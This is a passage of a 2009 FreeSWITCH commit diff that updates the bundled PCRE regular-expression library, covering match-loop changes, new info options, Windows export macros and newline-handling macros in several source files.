+  /* Control reaches here for the various types of "no match at this point"
+  result. Reset the code to MATCH_NOMATCH for subsequent checking. */
 
+  rc = MATCH_NOMATCH;
+
+  /* If PCRE_FIRSTLINE is set, the match must happen before or at the first
+  newline in the subject (though it may continue over the newline). Therefore,
+  if we have just failed to match, starting at a newline, do not continue. */
+
+  if (firstline && IS_NEWLINE(start_match)) break;
+
+  /* Advance to new matching position */
+
+  start_match = new_start_match;
+
+  /* Break the loop if the pattern is anchored or if we have passed the end of
+  the subject. */
+
+  if (anchored || start_match > end_subject) break;
+
+  /* If we have just passed a CR and we are now at a LF, and the pattern does
+  not contain any explicit matches for \r or \n, and the newline option is CRLF
+  or ANY or ANYCRLF, advance the match position by one more character. */
+
+  if (start_match[-1] == CHAR_CR &&
+      start_match < end_subject &&
+      *start_match == CHAR_NL &&
+      (re->flags & PCRE_HASCRORLF) == 0 &&
+        (md->nltype == NLTYPE_ANY ||
+         md->nltype == NLTYPE_ANYCRLF ||
+         md->nllen == 2))
+    start_match++;
+
+  }   /* End of for(;;) "bumpalong" loop */
+
+/* ==========================================================================*/
+
+/* We reach here when rc is not MATCH_NOMATCH, or if one of the stopping
+conditions is true:
+
+(1) The pattern is anchored or the match was failed by (*COMMIT);
+
+(2) We are past the end of the subject;
+
+(3) PCRE_FIRSTLINE is set and we have failed to match at a newline, because
+    this option requests that a match occur at or before the first newline in
+    the subject.
+
+When we have a match and the offset vector is big enough to deal with any
+backreferences, captured substring offsets will already be set up. In the case
+where we had to get some local store to hold offsets for backreference
+processing, copy those that we can. In this case there need not be overflow if
+certain parts of the pattern were not used, even though there are more
+capturing parentheses than vector slots. */
+
+ENDLOOP:
+
+if (rc == MATCH_MATCH)
+  {
   if (using_temporary_offsets)
     {
     if (offsetcount >= 4)
@@ -3889,18 +4997,23 @@
         (offsetcount - 2) * sizeof(int));
       DPRINTF(("Copied offsets from temporary memory\n"));
       }
-    if (md->end_offset_top > offsetcount)
-      md->offset_overflow = TRUE;
-
+    if (md->end_offset_top > offsetcount) md->offset_overflow = TRUE;
     DPRINTF(("Freeing temporary memory\n"));
     (pcre_free)(md->offset_vector);
     }
 
+  /* Set the return code to the number of captured strings, or 0 if there are
+  too many to fit into the vector. */
+
   rc = md->offset_overflow? 0 : md->end_offset_top/2;
 
+  /* If there is space, set up the whole thing as substring 0. The value of
+  md->start_match_ptr might be modified if \K was encountered on the success
+  matching path. */
+
   if (offsetcount < 2) rc = 0; else
     {
-    offsets[0] = start_match - md->start_subject;
+    offsets[0] = md->start_match_ptr - md->start_subject;
     offsets[1] = md->end_match_ptr - md->start_subject;
     }
 
@@ -3908,18 +5021,22 @@
   return rc;
   }
 
-/* This "while" is the end of the "do" above */
+/* Control gets here if there has been an error, or if the overall match
+attempt has failed at all permitted starting positions. */
 
-while (!anchored && start_match <= end_subject);
-
 if (using_temporary_offsets)
   {
   DPRINTF(("Freeing temporary memory\n"));
   (pcre_free)(md->offset_vector);
   }
 
-if (md->partial && md->hitend)
+if (rc != MATCH_NOMATCH)
   {
+  DPRINTF((">>>> error: returning %d\n", rc));
+  return rc;
+  }
+else if (md->partial && md->hitend)
+  {
   DPRINTF((">>>> returning PCRE_ERROR_PARTIAL\n"));
   return PCRE_ERROR_PARTIAL;
   }

Modified: freeswitch/branches/seven/libs/pcre/pcre_fullinfo.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_fullinfo.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_fullinfo.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,11 +2,11 @@
 *      Perl-Compatible Regular Expressions       *
 *************************************************/
 
-/*PCRE is a library of functions to support regular expressions whose syntax
+/* PCRE is a library of functions to support regular expressions whose syntax
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -42,6 +42,10 @@
 information about a compiled pattern. */
 
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include "pcre_internal.h"
 
 
@@ -61,7 +65,7 @@
 Returns:           0 if data returned, negative on error
 */
 
-PCRE_DATA_SCOPE int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_fullinfo(const pcre *argument_re, const pcre_extra *extra_data, int what,
   void *where)
 {
@@ -85,7 +89,7 @@
 switch (what)
   {
   case PCRE_INFO_OPTIONS:
-  *((unsigned long int *)where) = re->options & PUBLIC_OPTIONS;
+  *((unsigned long int *)where) = re->options & PUBLIC_COMPILE_OPTIONS;
   break;
 
   case PCRE_INFO_SIZE:
@@ -106,8 +110,8 @@
 
   case PCRE_INFO_FIRSTBYTE:
   *((int *)where) =
-    ((re->options & PCRE_FIRSTSET) != 0)? re->first_byte :
-    ((re->options & PCRE_STARTLINE) != 0)? -1 : -2;
+    ((re->flags & PCRE_FIRSTSET) != 0)? re->first_byte :
+    ((re->flags & PCRE_STARTLINE) != 0)? -1 : -2;
   break;
 
   /* Make sure we pass back the pointer to the bit vector in the external
@@ -121,7 +125,7 @@
 
   case PCRE_INFO_LASTLITERAL:
   *((int *)where) =
-    ((re->options & PCRE_REQCHSET) != 0)? re->req_byte : -1;
+    ((re->flags & PCRE_REQCHSET) != 0)? re->req_byte : -1;
   break;
 
   case PCRE_INFO_NAMEENTRYSIZE:
@@ -140,6 +144,18 @@
   *((const uschar **)where) = (const uschar *)(_pcre_default_tables);
   break;
 
+  case PCRE_INFO_OKPARTIAL:
+  *((int *)where) = (re->flags & PCRE_NOPARTIAL) == 0;
+  break;
+
+  case PCRE_INFO_JCHANGED:
+  *((int *)where) = (re->flags & PCRE_JCHANGED) != 0;
+  break;
+
+  case PCRE_INFO_HASCRORLF:
+  *((int *)where) = (re->flags & PCRE_HASCRORLF) != 0;
+  break;
+
   default: return PCRE_ERROR_BADOPTION;
   }
 

Modified: freeswitch/branches/seven/libs/pcre/pcre_get.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_get.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_get.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2008 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -43,6 +43,10 @@
 for these functions came from Scott Wimer. */
 
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include "pcre_internal.h"
 
 
@@ -61,7 +65,7 @@
                 (PCRE_ERROR_NOSUBSTRING) if not found
 */
 
-int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_get_stringnumber(const pcre *code, const char *stringname)
 {
 int rc;
@@ -110,7 +114,7 @@
                 (PCRE_ERROR_NOSUBSTRING) if not found
 */
 
-int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_get_stringtable_entries(const pcre *code, const char *stringname,
   char **firstptr, char **lastptr)
 {
@@ -185,7 +189,7 @@
 int entrysize;
 char *first, *last;
 uschar *entry;
-if ((re->options & (PCRE_DUPNAMES | PCRE_JCHANGED)) == 0)
+if ((re->options & PCRE_DUPNAMES) == 0 && (re->flags & PCRE_JCHANGED) == 0)
   return pcre_get_stringnumber(code, stringname);
 entrysize = pcre_get_stringtable_entries(code, stringname, &first, &last);
 if (entrysize <= 0) return entrysize;
@@ -227,7 +231,7 @@
                    PCRE_ERROR_NOSUBSTRING (-7) no such captured substring
 */
 
-int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_copy_substring(const char *subject, int *ovector, int stringcount,
   int stringnumber, char *buffer, int size)
 {
@@ -272,7 +276,7 @@
                    PCRE_ERROR_NOSUBSTRING (-7) no such captured substring
 */
 
-int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_copy_named_substring(const pcre *code, const char *subject, int *ovector,
   int stringcount, const char *stringname, char *buffer, int size)
 {
@@ -304,7 +308,7 @@
                    PCRE_ERROR_NOMEMORY (-6) failed to get store
 */
 
-int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_get_substring_list(const char *subject, int *ovector, int stringcount,
   const char ***listptr)
 {
@@ -349,7 +353,7 @@
 Returns:    nothing
 */
 
-void
+PCRE_EXP_DEFN void PCRE_CALL_CONVENTION
 pcre_free_substring_list(const char **pointer)
 {
 (pcre_free)((void *)pointer);
@@ -382,7 +386,7 @@
                    PCRE_ERROR_NOSUBSTRING (-7) substring not present
 */
 
-int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_get_substring(const char *subject, int *ovector, int stringcount,
   int stringnumber, const char **stringptr)
 {
@@ -429,14 +433,13 @@
                    PCRE_ERROR_NOSUBSTRING (-7) no such captured substring
 */
 
-int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_get_named_substring(const pcre *code, const char *subject, int *ovector,
   int stringcount, const char *stringname, const char **stringptr)
 {
 int n = get_first_set(code, stringname, ovector);
 if (n <= 0) return n;
 return pcre_get_substring(subject, ovector, stringcount, n, stringptr);
-
 }
 
 
@@ -453,7 +456,7 @@
 Returns:    nothing
 */
 
-void
+PCRE_EXP_DEFN void PCRE_CALL_CONVENTION
 pcre_free_substring(const char *pointer)
 {
 (pcre_free)((void *)pointer);

Modified: freeswitch/branches/seven/libs/pcre/pcre_globals.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_globals.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_globals.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2008 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -46,24 +46,18 @@
 all threads. However, when compiling for Virtual Pascal, things are done
 differently, and global variables are not used (see pcre.in). */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
 
 #include "pcre_internal.h"
 
-
 #ifndef VPCOMPAT
-#ifdef __cplusplus
-extern "C" void *(*pcre_malloc)(size_t) = malloc;
-extern "C" void  (*pcre_free)(void *) = free;
-extern "C" void *(*pcre_stack_malloc)(size_t) = malloc;
-extern "C" void  (*pcre_stack_free)(void *) = free;
-extern "C" int   (*pcre_callout)(pcre_callout_block *) = NULL;
-#else
-void *(*pcre_malloc)(size_t) = malloc;
-void  (*pcre_free)(void *) = free;
-void *(*pcre_stack_malloc)(size_t) = malloc;
-void  (*pcre_stack_free)(void *) = free;
-int   (*pcre_callout)(pcre_callout_block *) = NULL;
+PCRE_EXP_DATA_DEFN void *(*pcre_malloc)(size_t) = malloc;
+PCRE_EXP_DATA_DEFN void  (*pcre_free)(void *) = free;
+PCRE_EXP_DATA_DEFN void *(*pcre_stack_malloc)(size_t) = malloc;
+PCRE_EXP_DATA_DEFN void  (*pcre_stack_free)(void *) = free;
+PCRE_EXP_DATA_DEFN int   (*pcre_callout)(pcre_callout_block *) = NULL;
 #endif
-#endif
 
 /* End of pcre_globals.c */

Modified: freeswitch/branches/seven/libs/pcre/pcre_info.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_info.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_info.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -43,6 +43,10 @@
 deprecated, as it has been superseded by pcre_fullinfo(). */
 
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include "pcre_internal.h"
 
 
@@ -68,7 +72,7 @@
                 or negative values on error
 */
 
-PCRE_DATA_SCOPE int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_info(const pcre *argument_re, int *optptr, int *first_byte)
 {
 real_pcre internal_re;
@@ -79,10 +83,10 @@
   re = _pcre_try_flipped(re, &internal_re, NULL, NULL);
   if (re == NULL) return PCRE_ERROR_BADMAGIC;
   }
-if (optptr != NULL) *optptr = (int)(re->options & PUBLIC_OPTIONS);
+if (optptr != NULL) *optptr = (int)(re->options & PUBLIC_COMPILE_OPTIONS);
 if (first_byte != NULL)
-  *first_byte = ((re->options & PCRE_FIRSTSET) != 0)? re->first_byte :
-     ((re->options & PCRE_STARTLINE) != 0)? -1 : -2;
+  *first_byte = ((re->flags & PCRE_FIRSTSET) != 0)? re->first_byte :
+     ((re->flags & PCRE_STARTLINE) != 0)? -1 : -2;
 return re->top_bracket;
 }
 

Modified: freeswitch/branches/seven/libs/pcre/pcre_internal.h (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_internal.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_internal.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -51,22 +51,36 @@
 #define PCRE_DEBUG
 #endif
 
+/* We do not support both EBCDIC and UTF-8 at the same time. The "configure"
+script prevents both being selected, but not everybody uses "configure". */
+
+#if defined EBCDIC && defined SUPPORT_UTF8
+#error The use of both EBCDIC and SUPPORT_UTF8 is not supported.
+#endif
+
+/* If SUPPORT_UCP is defined, SUPPORT_UTF8 must also be defined. The
+"configure" script ensures this, but not everybody uses "configure". */
+
+#if defined SUPPORT_UCP && !defined SUPPORT_UTF8
+#define SUPPORT_UTF8 1
+#endif
+
 /* Use a macro for debugging printing, 'cause that eliminates the use of #ifdef
 inline, and there are *still* stupid compilers about that don't like indented
 pre-processor statements, or at least there were when I first wrote this. After
-all, it had only been about 10 years then... */
+all, it had only been about 10 years then...
 
+It turns out that the Mac Debugging.h header also defines the macro DPRINTF, so
+be absolutely sure we get our version. */
+
+#undef DPRINTF
 #ifdef PCRE_DEBUG
 #define DPRINTF(p) printf p
 #else
-#define DPRINTF(p) /*nothing*/
+#define DPRINTF(p) /* Nothing */
 #endif
 
 
-/* Get the definitions provided by running "configure" */
-
-#include "config.h"
-
 /* Standard C headers plus the external interface definition. The only time
 setjmp and stdarg are used is when NO_RECURSE is set. */
 
@@ -79,10 +93,73 @@
 #include <stdlib.h>
 #include <string.h>
 
-#ifndef PCRE_SPY
-#define PCRE_DEFINITION       /* Win32 __declspec(export) trigger for .dll */
+/* When compiling a DLL for Windows, the exported symbols have to be declared
+using some MS magic. I found some useful information on this web page:
+http://msdn2.microsoft.com/en-us/library/y4h7bcy6(VS.80).aspx. According to the
+information there, using __declspec(dllexport) without "extern" we have a
+definition; with "extern" we have a declaration. The settings here override the
+setting in pcre.h (which is included below); it defines only PCRE_EXP_DECL,
+which is all that is needed for applications (they just import the symbols). We
+use:
+
+  PCRE_EXP_DECL       for declarations
+  PCRE_EXP_DEFN       for definitions of exported functions
+  PCRE_EXP_DATA_DEFN  for definitions of exported variables
+
+The reason for the two DEFN macros is that in non-Windows environments, one
+does not want to have "extern" before variable definitions because it leads to
+compiler warnings. So we distinguish between functions and variables. In
+Windows, the two should always be the same.
+
+The reason for wrapping this in #ifndef PCRE_EXP_DECL is so that pcretest,
+which is an application, but needs to import this file in order to "peek" at
+internals, can #include pcre.h first to get an application's-eye view.
+
+In principle, people compiling for non-Windows, non-Unix-like (i.e. uncommon,
+special-purpose environments) might want to stick other stuff in front of
+exported symbols. That's why, in the non-Windows case, we set PCRE_EXP_DEFN and
+PCRE_EXP_DATA_DEFN only if they are not already set. */
+
+#ifndef PCRE_EXP_DECL
+#  ifdef _WIN32
+#    ifndef PCRE_STATIC
+#      define PCRE_EXP_DECL       extern __declspec(dllexport)
+#      define PCRE_EXP_DEFN       __declspec(dllexport)
+#      define PCRE_EXP_DATA_DEFN  __declspec(dllexport)
+#    else
+#      define PCRE_EXP_DECL       extern
+#      define PCRE_EXP_DEFN
+#      define PCRE_EXP_DATA_DEFN
+#    endif
+#  else
+#    ifdef __cplusplus
+#      define PCRE_EXP_DECL       extern "C"
+#    else
+#      define PCRE_EXP_DECL       extern
+#    endif
+#    ifndef PCRE_EXP_DEFN
+#      define PCRE_EXP_DEFN       PCRE_EXP_DECL
+#    endif
+#    ifndef PCRE_EXP_DATA_DEFN
+#      define PCRE_EXP_DATA_DEFN
+#    endif
+#  endif
 #endif
 
+/* When compiling with the MSVC compiler, it is sometimes necessary to include
+a "calling convention" before exported function names. (This is secondhand
+information; I know nothing about MSVC myself). For example, something like
+
+  void __cdecl function(....)
+
+might be needed. In order so make this easy, all the exported functions have
+PCRE_CALL_CONVENTION just before their names. It is rarely needed; if not
+set, we ensure here that it has no effect. */
+
+#ifndef PCRE_CALL_CONVENTION
+#define PCRE_CALL_CONVENTION
+#endif
+
 /* We need to have types that specify unsigned 16-bit and 32-bit integers. We
 cannot determine these outside the compilation (e.g. by running a program as
 part of "configure") because PCRE is often cross-compiled for use on other
@@ -91,16 +168,20 @@
 
 #if USHRT_MAX == 65535
   typedef unsigned short pcre_uint16;
+  typedef short pcre_int16;
 #elif UINT_MAX == 65535
   typedef unsigned int pcre_uint16;
+  typedef int pcre_int16;
 #else
   #error Cannot determine a type for 16-bit unsigned integers
 #endif
 
 #if UINT_MAX == 4294967295
   typedef unsigned int pcre_uint32;
+  typedef int pcre_int32;
 #elif ULONG_MAX == 4294967295
   typedef unsigned long int pcre_uint32;
+  typedef long int pcre_int32;
 #else
   #error Cannot determine a type for 32-bit unsigned integers
 #endif
@@ -114,14 +195,50 @@
 
 typedef unsigned char uschar;
 
-/* PCRE is able to support 3 different kinds of newline (CR, LF, CRLF). The
-following macro is used to package up testing for newlines. NLBLOCK is defined
-in the various modules to indicate in which datablock the parameters exist. */
+/* This is an unsigned int value that no character can ever have. UTF-8
+characters only go up to 0x7fffffff (though Unicode doesn't go beyond
+0x0010ffff). */
 
+#define NOTACHAR 0xffffffff
+
+/* PCRE is able to support several different kinds of newline (CR, LF, CRLF,
+"any" and "anycrlf" at present). The following macros are used to package up
+testing for newlines. NLBLOCK, PSSTART, and PSEND are defined in the various
+modules to indicate in which datablock the parameters exist, and what the
+start/end of string field names are. */
+
+#define NLTYPE_FIXED    0     /* Newline is a fixed length string */
+#define NLTYPE_ANY      1     /* Newline is any Unicode line ending */
+#define NLTYPE_ANYCRLF  2     /* Newline is CR, LF, or CRLF */
+
+/* This macro checks for a newline at the given position */
+
 #define IS_NEWLINE(p) \
-  ((p)[0] == NLBLOCK->nl[0] && \
-  (NLBLOCK->nllen == 1 || (p)[1] == NLBLOCK->nl[1]))
+  ((NLBLOCK->nltype != NLTYPE_FIXED)? \
+    ((p) < NLBLOCK->PSEND && \
+     _pcre_is_newline((p), NLBLOCK->nltype, NLBLOCK->PSEND, &(NLBLOCK->nllen),\
+       utf8)) \
+    : \
+    ((p) <= NLBLOCK->PSEND - NLBLOCK->nllen && \
+     (p)[0] == NLBLOCK->nl[0] && \
+     (NLBLOCK->nllen == 1 || (p)[1] == NLBLOCK->nl[1]) \
+    ) \
+  )
 
+/* This macro checks for a newline immediately preceding the given position */
+
+#define WAS_NEWLINE(p) \
+  ((NLBLOCK->nltype != NLTYPE_FIXED)? \
+    ((p) > NLBLOCK->PSSTART && \
+     _pcre_was_newline((p), NLBLOCK->nltype, NLBLOCK->PSSTART, \
+       &(NLBLOCK->nllen), utf8)) \
+    : \
+    ((p) >= NLBLOCK->PSSTART + NLBLOCK->nllen && \
+     (p)[-NLBLOCK->nllen] == NLBLOCK->nl[0] && \
+     (NLBLOCK->nllen == 1 || (p)[-NLBLOCK->nllen+1] == NLBLOCK->nl[1]) \
+    ) \
+  )
+
 /* When PCRE is compiled as a C++ library, the subject pointer can be replaced
 with a custom type. This makes it possible, for example, to allow pcre_exec()
 to process subject strings that are discontinuous by using a smart pointer
@@ -139,6 +256,8 @@
 #define USPTR const unsigned char *
 #endif
 
+
+
 /* Include the public PCRE header and the definitions of UCP character property
 values. */
 
@@ -150,7 +269,9 @@
 option on the command line. */
 
 #ifdef VPCOMPAT
+#define strlen(s)        _strlen(s)
 #define strncmp(s1,s2,m) _strncmp(s1,s2,m)
+#define memcmp(s,c,n)    _memcmp(s,c,n)
 #define memcpy(d,s,n)    _memcpy(d,s,n)
 #define memmove(d,s,n)   _memmove(d,s,n)
 #define memset(s,c,n)    _memset(s,c,n)
@@ -159,23 +280,31 @@
 /* To cope with SunOS4 and other systems that lack memmove() but have bcopy(),
 define a macro for memmove() if HAVE_MEMMOVE is false, provided that HAVE_BCOPY
 is set. Otherwise, include an emulating function for those systems that have
-neither (there some non-Unix environments where this is the case). This assumes
-that all calls to memmove are moving strings upwards in store, which is the
-case in PCRE. */
+neither (there some non-Unix environments where this is the case). */
 
-#if ! HAVE_MEMMOVE
+#ifndef HAVE_MEMMOVE
 #undef  memmove        /* some systems may have a macro */
-#if HAVE_BCOPY
+#ifdef HAVE_BCOPY
 #define memmove(a, b, c) bcopy(b, a, c)
 #else  /* HAVE_BCOPY */
 static void *
-pcre_memmove(unsigned char *dest, const unsigned char *src, size_t n)
+pcre_memmove(void *d, const void *s, size_t n)
 {
 size_t i;
-dest += n;
-src += n;
-for (i = 0; i < n; ++i) *(--dest) =  *(--src);
-return dest;
+unsigned char *dest = (unsigned char *)d;
+const unsigned char *src = (const unsigned char *)s;
+if (dest > src)
+  {
+  dest += n;
+  src += n;
+  for (i = 0; i < n; ++i) *(--dest) = *(--src);
+  return (void *)dest;
+  }
+else
+  {
+  for (i = 0; i < n; ++i) *dest++ = *src++;
+  return (void *)(dest - n);
+  }
 }
 #define memmove(a, b, c) pcre_memmove(a, b, c)
 #endif   /* not HAVE_BCOPY */
@@ -261,7 +390,9 @@
 
 /* When UTF-8 encoding is being used, a character is no longer just a single
 byte. The macros for character handling generate simple sequences when used in
-byte-mode, and more complicated ones for UTF-8 characters. */
+byte-mode, and more complicated ones for UTF-8 characters. BACKCHAR should
+never be called in byte mode. To make sure it can never even appear when UTF-8
+support is omitted, we don't even define it. */
 
 #ifndef SUPPORT_UTF8
 #define GETCHAR(c, eptr) c = *eptr;
@@ -269,7 +400,7 @@
 #define GETCHARINC(c, eptr) c = *eptr++;
 #define GETCHARINCTEST(c, eptr) c = *eptr++;
 #define GETCHARLEN(c, eptr, len) c = *eptr;
-#define BACKCHAR(eptr)
+/* #define BACKCHAR(eptr) */
 
 #else   /* SUPPORT_UTF8 */
 
@@ -278,7 +409,7 @@
 
 #define GETCHAR(c, eptr) \
   c = *eptr; \
-  if ((c & 0xc0) == 0xc0) \
+  if (c >= 0xc0) \
     { \
     int gcii; \
     int gcaa = _pcre_utf8_table4[c & 0x3f];  /* Number of additional bytes */ \
@@ -296,7 +427,7 @@
 
 #define GETCHARTEST(c, eptr) \
   c = *eptr; \
-  if (utf8 && (c & 0xc0) == 0xc0) \
+  if (utf8 && c >= 0xc0) \
     { \
     int gcii; \
     int gcaa = _pcre_utf8_table4[c & 0x3f];  /* Number of additional bytes */ \
@@ -314,7 +445,7 @@
 
 #define GETCHARINC(c, eptr) \
   c = *eptr++; \
-  if ((c & 0xc0) == 0xc0) \
+  if (c >= 0xc0) \
     { \
     int gcaa = _pcre_utf8_table4[c & 0x3f];  /* Number of additional bytes */ \
     int gcss = 6*gcaa; \
@@ -330,7 +461,7 @@
 
 #define GETCHARINCTEST(c, eptr) \
   c = *eptr++; \
-  if (utf8 && (c & 0xc0) == 0xc0) \
+  if (utf8 && c >= 0xc0) \
     { \
     int gcaa = _pcre_utf8_table4[c & 0x3f];  /* Number of additional bytes */ \
     int gcss = 6*gcaa; \
@@ -347,7 +478,7 @@
 
 #define GETCHARLEN(c, eptr, len) \
   c = *eptr; \
-  if ((c & 0xc0) == 0xc0) \
+  if (c >= 0xc0) \
     { \
     int gcii; \
     int gcaa = _pcre_utf8_table4[c & 0x3f];  /* Number of additional bytes */ \
@@ -361,10 +492,31 @@
     len += gcaa; \
     }
 
+/* Get the next UTF-8 character, testing for UTF-8 mode, not advancing the
+pointer, incrementing length if there are extra bytes. This is called when we
+know we are in UTF-8 mode. */
+
+#define GETCHARLENTEST(c, eptr, len) \
+  c = *eptr; \
+  if (utf8 && c >= 0xc0) \
+    { \
+    int gcii; \
+    int gcaa = _pcre_utf8_table4[c & 0x3f];  /* Number of additional bytes */ \
+    int gcss = 6*gcaa; \
+    c = (c & _pcre_utf8_table3[gcaa]) << gcss; \
+    for (gcii = 1; gcii <= gcaa; gcii++) \
+      { \
+      gcss -= 6; \
+      c |= (eptr[gcii] & 0x3f) << gcss; \
+      } \
+    len += gcaa; \
+    }
+
 /* If the pointer is not at the start of a character, move it back until
-it is. Called only in UTF-8 mode. */
+it is. This is called only in UTF-8 mode - we don't put a test within the macro
+because almost all calls are already within a block of UTF-8 only code. */
 
-#define BACKCHAR(eptr) while((*eptr & 0xc0) == 0x80) eptr--;
+#define BACKCHAR(eptr) while((*eptr & 0xc0) == 0x80) eptr--
 
 #endif
 
@@ -381,17 +533,16 @@
 
 #define PCRE_IMS (PCRE_CASELESS|PCRE_MULTILINE|PCRE_DOTALL)
 
-/* Private options flags start at the most significant end of the four bytes.
-The public options defined in pcre.h start at the least significant end. Make
-sure they don't overlap! The bits are getting a bit scarce now -- when we run
-out, there is a dummy word in the structure that could be used for the private
-bits. */
+/* Private flags containing information about the compiled regex. They used to
+live at the top end of the options word, but that got almost full, so now they
+are in a 16-bit flags word. */
 
-#define PCRE_NOPARTIAL     0x80000000  /* can't use partial with this regex */
-#define PCRE_FIRSTSET      0x40000000  /* first_byte is set */
-#define PCRE_REQCHSET      0x20000000  /* req_byte is set */
-#define PCRE_STARTLINE     0x10000000  /* start after \n for multiline */
-#define PCRE_JCHANGED      0x08000000  /* j option changes within regex */
+#define PCRE_NOPARTIAL     0x0001  /* can't use partial with this regex */
+#define PCRE_FIRSTSET      0x0002  /* first_byte is set */
+#define PCRE_REQCHSET      0x0004  /* req_byte is set */
+#define PCRE_STARTLINE     0x0008  /* start after \n for multiline */
+#define PCRE_JCHANGED      0x0010  /* j option used in regex */
+#define PCRE_HASCRORLF     0x0020  /* explicit \r or \n in pattern */
 
 /* Options for the "extra" block produced by pcre_study(). */
 
@@ -400,20 +551,25 @@
 /* Masks for identifying the public options that are permitted at compile
 time, run time, or study time, respectively. */
 
-#define PUBLIC_OPTIONS \
+#define PCRE_NEWLINE_BITS (PCRE_NEWLINE_CR|PCRE_NEWLINE_LF|PCRE_NEWLINE_ANY| \
+                           PCRE_NEWLINE_ANYCRLF)
+
+#define PUBLIC_COMPILE_OPTIONS \
   (PCRE_CASELESS|PCRE_EXTENDED|PCRE_ANCHORED|PCRE_MULTILINE| \
    PCRE_DOTALL|PCRE_DOLLAR_ENDONLY|PCRE_EXTRA|PCRE_UNGREEDY|PCRE_UTF8| \
    PCRE_NO_AUTO_CAPTURE|PCRE_NO_UTF8_CHECK|PCRE_AUTO_CALLOUT|PCRE_FIRSTLINE| \
-   PCRE_DUPNAMES|PCRE_NEWLINE_CR|PCRE_NEWLINE_LF)
+   PCRE_DUPNAMES|PCRE_NEWLINE_BITS|PCRE_BSR_ANYCRLF|PCRE_BSR_UNICODE| \
+   PCRE_JAVASCRIPT_COMPAT)
 
 #define PUBLIC_EXEC_OPTIONS \
   (PCRE_ANCHORED|PCRE_NOTBOL|PCRE_NOTEOL|PCRE_NOTEMPTY|PCRE_NO_UTF8_CHECK| \
-   PCRE_PARTIAL|PCRE_NEWLINE_CR|PCRE_NEWLINE_LF)
+   PCRE_PARTIAL|PCRE_NEWLINE_BITS|PCRE_BSR_ANYCRLF|PCRE_BSR_UNICODE| \
+   PCRE_NO_START_OPTIMIZE)
 
 #define PUBLIC_DFA_EXEC_OPTIONS \
   (PCRE_ANCHORED|PCRE_NOTBOL|PCRE_NOTEOL|PCRE_NOTEMPTY|PCRE_NO_UTF8_CHECK| \
-   PCRE_PARTIAL|PCRE_DFA_SHORTEST|PCRE_DFA_RESTART|PCRE_NEWLINE_CR| \
-   PCRE_NEWLINE_LF)
+   PCRE_PARTIAL|PCRE_DFA_SHORTEST|PCRE_DFA_RESTART|PCRE_NEWLINE_BITS| \
+   PCRE_BSR_ANYCRLF|PCRE_BSR_UNICODE|PCRE_NO_START_OPTIMIZE)
 
 #define PUBLIC_STUDY_OPTIONS 0   /* None defined */
 
@@ -438,38 +594,572 @@
 #define REQ_CASELESS 0x0100    /* indicates caselessness */
 #define REQ_VARY     0x0200    /* reqbyte followed non-literal item */
 
-/* Miscellaneous definitions */
+/* Miscellaneous definitions. The #ifndef is to pacify compiler warnings in
+environments where these macros are defined elsewhere. Unfortunately, there
+is no way to do the same for the typedef. */
 
 typedef int BOOL;
 
+#ifndef FALSE
 #define FALSE   0
 #define TRUE    1
+#endif
 
-/* Escape items that are just an encoding of a particular data value. Note that
-ESC_n is defined as yet another macro, which is set in config.h to either \n
-(the default) or \r (which some people want). */
+/* If PCRE is to support UTF-8 on EBCDIC platforms, we cannot use normal
+character constants like '*' because the compiler would emit their EBCDIC code,
